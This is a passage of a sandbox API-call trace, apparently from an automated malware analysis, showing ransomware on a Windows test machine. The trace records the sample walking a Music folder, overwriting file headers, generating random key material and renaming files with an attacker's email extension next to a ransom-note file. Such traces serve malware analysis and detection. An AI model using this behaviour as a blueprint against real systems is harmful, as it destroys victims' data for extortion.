Size=0x20) returned 0x3053df8 [0173.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.187] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.187] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x187ffeb0, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x187ffeb0*=0x4096, lpOverlapped=0x0) returned 1 [0173.187] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0173.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.188] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.188] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.188] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0173.188] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x187ffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x187ffeb0*=0x4096, lpOverlapped=0x0) returned 1 [0173.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.189] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x10af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.189] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x187ffee8, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x187ffee8*=0x20, lpOverlapped=0x0) returned 1 [0173.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.189] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x187ffefc, lpOverlapped=0x0 | out: lpBuffer=0x3053ee8*, lpNumberOfBytesWritten=0x187ffefc*=0x8, lpOverlapped=0x0) returned 1 [0173.189] WriteFile (in: hFile=0x5d4, lpBuffer=0x187fff14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x187ffefc, lpOverlapped=0x0 | out: lpBuffer=0x187fff14*, lpNumberOfBytesWritten=0x187ffefc*=0x4, lpOverlapped=0x0) returned 1 [0173.190] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x187ffefc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x187ffefc*=0x4, lpOverlapped=0x0) returned 1 [0173.190] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x187ffefc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x187ffefc*=0x6c, lpOverlapped=0x0) returned 1 [0173.190] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x187ffefc, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x187ffefc*=0x20, lpOverlapped=0x0) returned 1 [0173.190] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x187ffefc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x187ffefc*=0x4, lpOverlapped=0x0) returned 1 [0173.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.190] CloseHandle (hObject=0x5d4) returned 1 [0173.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f984f0 [0173.190] wcscpy (in: _Dest=0x2f984f0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" [0173.190] wcscat (in: _Dest=0x2f984f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.190] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rkmf1ygovc9d w.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rkmf1ygovc9d w.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.192] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f984f0) returned 1 [0173.192] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.192] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f95748 [0173.192] wcscpy (in: _Dest=0x2f95748, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0173.192] wcscat (in: _Dest=0x2f95748, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0173.192] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0173.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95748) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fede50) returned 1 [0173.192] RtlExitUserThread (Status=0x1) Thread: id = 2097 os_tid = 0x11ac [0173.193] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4240 [0173.193] wcscpy (in: _Dest=0x2fa4240, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0173.194] wcscat (in: _Dest=0x2fa4240, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0173.194] wcscat (in: _Dest=0x2fa4240, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\*" [0173.194] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021d80 [0173.194] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\*", lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4f61dc0, ftCreationTime.dwHighDateTime=0x1d4ccca, ftLastAccessTime.dwLowDateTime=0x86bce24f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86bce24f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80720 [0173.195] wcscmp (_String1=".", _String2=".") returned 0 [0173.195] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4f61dc0, ftCreationTime.dwHighDateTime=0x1d4ccca, ftLastAccessTime.dwLowDateTime=0x86bce24f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86bce24f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.195] wcscmp (_String1="..", _String2=".") returned 1 [0173.195] wcscmp (_String1="..", _String2="..") returned 0 [0173.195] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a14b40, ftCreationTime.dwHighDateTime=0x1d4c9ab, ftLastAccessTime.dwLowDateTime=0x19076ca0, ftLastAccessTime.dwHighDateTime=0x1d4d013, ftLastWriteTime.dwLowDateTime=0x86ae93c2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13feb, dwReserved0=0x0, dwReserved1=0x0, cFileName="2975uXH.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="2975UX~1.D0E")) returned 1 [0173.195] wcscmp (_String1="2975uXH.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.195] wcscmp (_String1="2975uXH.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.195] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056df8 [0173.196] wcscpy (in: _Dest=0x3056df8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0173.196] wcscat (in: _Dest=0x3056df8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0173.196] wcscat (in: _Dest=0x3056df8, _Source="2975uXH.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731" [0174.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0174.150] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae93c2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x86ae93c2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86ae93c2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.150] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.150] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.150] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75eaff70, ftCreationTime.dwHighDateTime=0x1d4cf52, ftLastAccessTime.dwLowDateTime=0xedecffa0, ftLastAccessTime.dwHighDateTime=0x1d4c809, ftLastWriteTime.dwLowDateTime=0x86b0f6fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd5a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="fkDt3t.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FKDT3T~1.D0E")) returned 1 [0174.150] wcscmp (_String1="fkDt3t.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.150] wcscmp (_String1="fkDt3t.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.150] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x3055ee0 [0174.151] wcscpy (in: _Dest=0x3055ee0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0174.151] wcscat (in: _Dest=0x3055ee0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0174.151] wcscat (in: _Dest=0x3055ee0, _Source="fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" [0174.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0174.151] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f6bf0, ftCreationTime.dwHighDateTime=0x1d4d479, ftLastAccessTime.dwLowDateTime=0xd5cdcf90, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0x86bce24f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdce3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TNTGOH~1.D0E")) returned 1 [0174.151] wcscmp (_String1="TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.151] wcscmp (_String1="TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.151] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x4f0ad50 [0174.152] wcscpy (in: _Dest=0x4f0ad50, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0174.152] wcscat (in: _Dest=0x4f0ad50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0174.152] wcscat (in: _Dest=0x4f0ad50, _Source="TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" [0174.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0174.152] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x3021d80 | out: lpFindFileData=0x3021d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f6bf0, ftCreationTime.dwHighDateTime=0x1d4d479, ftLastAccessTime.dwLowDateTime=0xd5cdcf90, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0x86bce24f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdce3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TNTGOH~1.D0E")) returned 0 [0174.152] FindClose (in: hFindFile=0x2f80720 | out: hFindFile=0x2f80720) returned 1 [0174.153] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021d80) returned 1 [0174.153] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4240) returned 1 [0174.153] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4120) returned 1 [0174.153] RtlExitUserThread (Status=0x0) Thread: id = 2098 os_tid = 0x11b0 [0173.196] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\zkjqfivubc91ouqlhwt5.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.196] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\zkjqfivubc91ouqlhwt5.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0 [0173.196] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x188ff888 | out: lpFileSize=0x188ff888*=101534) returned 1 [0173.197] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x18c9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.197] ReadFile (in: hFile=0x5d0, lpBuffer=0x188ff85c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x188ff858, lpOverlapped=0x0 | out: lpBuffer=0x188ff85c*, lpNumberOfBytesRead=0x188ff858*=0x4, lpOverlapped=0x0) returned 1 [0173.197] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ec0 [0173.198] NtQuerySystemTime (in: CurrentTime=0x188ff834 | out: CurrentTime=0x188ff834*=132121213305140927) returned 0x0 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x39be179e [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xebd3b6d2 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x70fc0fca [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x6211cda2 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xa34701bc [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x5a721bc6 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xb7edc5fc [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x8688246 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x76582163 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xa0489c67 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x2017ff2f [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x44dfc7e1 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xd3e8c2ca [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x313d41e1 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xc4f2a0ca [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xfcd7714 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xd26be608 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x13933523 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xa2b23b84 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x1e7cf13d [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xc51f040c [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x295e3033 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x6c8e79b9 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x97242984 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xec5d20bd [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x13841f32 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x9e267cb0 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x2c2d0f13 [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x8c2fa7bb [0173.198] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0xb9edc7eb [0173.199] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x491f439 [0173.199] RtlRandom (in: Seed=0x188ff840 | out: Seed=0x188ff840) returned 0x7c3744b6 [0173.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.209] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.209] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f38 [0173.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.210] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.210] ReadFile (in: hFile=0x5d0, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x188ff80c, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x188ff80c*=0x4096, lpOverlapped=0x0) returned 1 [0173.210] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.211] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.211] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.211] WriteFile (in: hFile=0x5d0, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x188ff80c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x188ff80c*=0x4096, lpOverlapped=0x0) returned 1 [0173.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.211] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x18c9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.211] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x188ff844, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x188ff844*=0x20, lpOverlapped=0x0) returned 1 [0173.212] RtlFreeHeap 